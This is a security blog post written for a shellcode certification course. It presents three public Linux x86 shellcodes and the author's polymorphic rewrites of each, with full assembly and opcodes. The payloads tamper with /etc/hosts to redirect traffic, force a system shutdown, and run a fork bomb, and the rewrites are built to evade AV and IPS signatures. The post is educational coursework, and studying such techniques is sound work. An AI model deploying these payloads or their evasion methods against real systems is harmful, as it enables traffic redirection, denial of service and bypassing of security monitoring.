This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE-1202
TL;DR:
Hi! Today we are going to talk about polymorphic shellcodes.
Well, CPU and memory just store some state, right? And this state may be changed with different CPU instructions.
There is a really huge instruction set for x86, so, it is not so hard to check that some instructions or their combinations can lead our CPU and memory to the same states.
For example, we can use mov eax, 0x00
to make EAX equals zero, or run xor eax, eax
for this purpose, or make EBX equals zero and call mul EBX
and so on.
And there are a lot of such combinations. Some of them requires additional bytes, but leads to the such state of CPU and memory.
This property of shellcodes has the name “polymorphism”. How can we use this? Well, we can bypass AV/IPS signatures, for example. Also, encoding is not a panacea against badchars, because here may be bad chars in encoder itself - and in this case we can use polymorphism too!
Let’s check some practical examples.
I found this shellcode on the shell-storm. Here is the code:
;modify_hosts.asm
;this program add a new entry in hosts file pointing google.com to 127.1.1.1
;author Javier Tejedor
;date 24/09/2014
;http://shell-storm.org/shellcode/files/shellcode-893.php
global _start
section .text
_start:
xor ecx, ecx
mul ecx
mov al, 0x5
push ecx
push 0x7374736f ;/etc///hosts
push 0x682f2f2f
push 0x6374652f
mov ebx, esp
mov cx, 0x401 ;permmisions
int 0x80 ;syscall to open file
xchg eax, ebx
push 0x4
pop eax
jmp short _load_data ;jmp-call-pop technique to load the map
_write:
pop ecx
push 20 ;length of the string, dont forget to modify if changes the map
pop edx
int 0x80 ;syscall to write in the file
push 0x6
pop eax
int 0x80 ;syscall to close the file
push 0x1
pop eax
int 0x80 ;syscall to exit
_load_data:
call _write
google db "127.1.1.1 google.com"
This shellcode appends one line to the ‘/etc/hosts’ file that allows attacker to redirect user traffic to the malicious site, or just server - depends on purpose.
String “127.1.1.1 google.com” means that any requests for “google.com” will be redirected to 127.1.1.1 (alias for localhost) on the DNS name resolution stage.
Here is my polymorphic code for this shellcode:
; polymoprhic_hosts.asm
; Author: German Namestnikov
global _start
section .text
_start:
xor ecx, ecx
xor eax, eax
add al, 0x05
push ecx
inc ecx
mov edx, 0xe6e8e6de
ror edx, cl
push edx
mov edx, 0xd05e5e5e
ror edx, cl
push edx
mov edx, 0xc6e8ca5e
ror edx, cl
push edx
mov ebx, esp
mov ch, 0x04
mov cl, 0x01
int 0x80
xor ebx, ebx
xchg eax, ebx
jmp short _load_data ;jmp-call-pop technique to load the map
_write:
pop ecx
xor edx, edx
mov dl, 0x14
mov al, 0x04
int 0x80 ;syscall to write in the file
mov al, 0x06
int 0x80 ;syscall to close the file
mov al, 0x01
int 0x80 ;syscall to exit
_load_data:
call _write
google db "127.1.1.1 google.com"
Well, I changed several things in the original shellcode. First of all - and most important to note that - I changed substrings that will be pushed to the Stack. There is “/etc///hosts” string in original shellcode that may be detected (or its parts) by IDS. Actually, such things is a true miracle for IPS :D
I push the parts of “/etc///hosts” too, but I store them in code in rotated form, and just return them back before pushing.
Second thing to note is that I changed loading permissions (mov cx, 0x401
) process. CX consists of CH and CL, so, I decided to load them one by one with mov ch, 0x04
and mov cl, 0x01
instructions.
Also, I prefer to load values into the registers directly and changed common push/pop instructions on movs.
Original shellcode has 77 bytes size, and my polymorphic code has 87 bytes size - that gives us 12% overweight. Nice result!
The next shellcode to make polymorph is this ‘shutdown -h now’ shellcode:
; Title: shutdown -h now Shellcode - 56 bytes
; Date: 2014-06-27
; Platform: linux/x86
; Author: Osanda Malith Jayathissa (@OsandaMalith)
; http://shell-storm.org/shellcode/files/shellcode-876.php
global _start
section .text
_start:
xor eax,eax
xor edx,edx
push eax
push word 0x682d
mov edi, esp
push eax
push 0x6e
mov word [esp+0x01], 0x776f
mov edi,esp
push eax
push 0x6e776f64
push 0x74756873
push 0x2f2f2f6e
push 0x6962732f
mov ebx,esp
push edx
push esi
push edi
push ebx
mov ecx,esp
mov al,0xb
int 0x80
This code is just a decompilation, but it works fine for me. There are multiple pushes with substrings too, so, I decided to have some fun and check different ways.
Finally, here is my code:
global _start
section .text
_start:
xor eax, eax
xor edx, edx
xor ebx, ebx
; push "-h", 0x00
push eax
push word 0x682d
; mov edi, esp
; push 0x00776f6e = "now", 0x00
mov ax, 0x9526
mov bl, 0xcd
mul ebx
push eax
mov edi, esp
; push "/sbin///shutdown", 0x00
push edx
mov eax, edx ; nwod
mov ax, 0xfdee
mov bx, 0x6f5e
mul ebx
push eax
push word 0x7475 ; tuhs
push word 0x6873
mov eax, 0xffffffff ; ///n
sub eax, 0xd0d0d091
push eax
push 0x6962732f ; ibs/
mov ebx, esp
; SYS_EXECVE params
push edx
push esi
push edi
push ebx
mov ecx, esp
xor eax, eax
mov al, 0x0b
int 0x80
Well, 4-bytes substrings are actually just a numbers. And I considered them like they are a numbers :)
I used multiplication and substraction to hide strings behind “random” bytes. This may be tricky, but no rocket science here.
Overweight is 74/55 = 34%.
After these two shellcodes I was tired and decided to have some fun. And there is no much funny thing as DoS!
I found this shellcode that implements the fork() bomb. This is a pretty small, and, actually, I have never worked with fork() function or SYS_FORK syscall.
First of all, I disassembled the code:
german@slae-lab:~/slae-shellcoding$ echo $'\x6a\x02\x58\xcd\x80\xeb\xf9' | ndisasm -u -
00000000 6A02 push byte +0x2
00000002 58 pop eax
00000003 CD80 int 0x80
00000005 EBF9 jmp short 0x0
I slightly modified this code (but saved an opcodes) to make proper asm-file:
; http://shell-storm.org/shellcode/files/shellcode-214.php
global _start
section .text
_start:
push byte 0x2
pop eax
int 0x80
jmp short _start
Ok, what about polymorph code? The smaller the code size is, the harder it is to mutate it. But I tried :D
Here is a result:
; http://shell-storm.org/shellcode/files/shellcode-214.php
global _start
section .text
_start:
xor ebx, ebx
inc ebx
inc ebx
_syscall:
mov eax, ebx
int 0x80
jmp _syscall
And here are opcodes of my shellcode: \x31\xdb\x43\x43\x89\xd8\xcd\x80\xeb\xfa
. Original shellcode is here too: \x6a\x02\x58\xcd\x80\xeb\xf9
.
Size of my shellcode is 10 bytes vs. 7 bytes in original. 42% overweight, but it is Ok too.
Polymorphism is a great technique based on the properties of CPU instructions itself. I made a three examples of mutating shellcodes, this uses polymorphism property, but this is not polymorphism itself - I didn’t create polymorphic engine or other automation tool.
Also, size of polymorphic shellcode does matter. This is very hard to limit overweight of polymorphic versions of small shellcodes as I demonstrated with last example.
Also, check my small SLAE repo. I almost finished all assignments, but I still will publish something after that.
Good Luck!
The end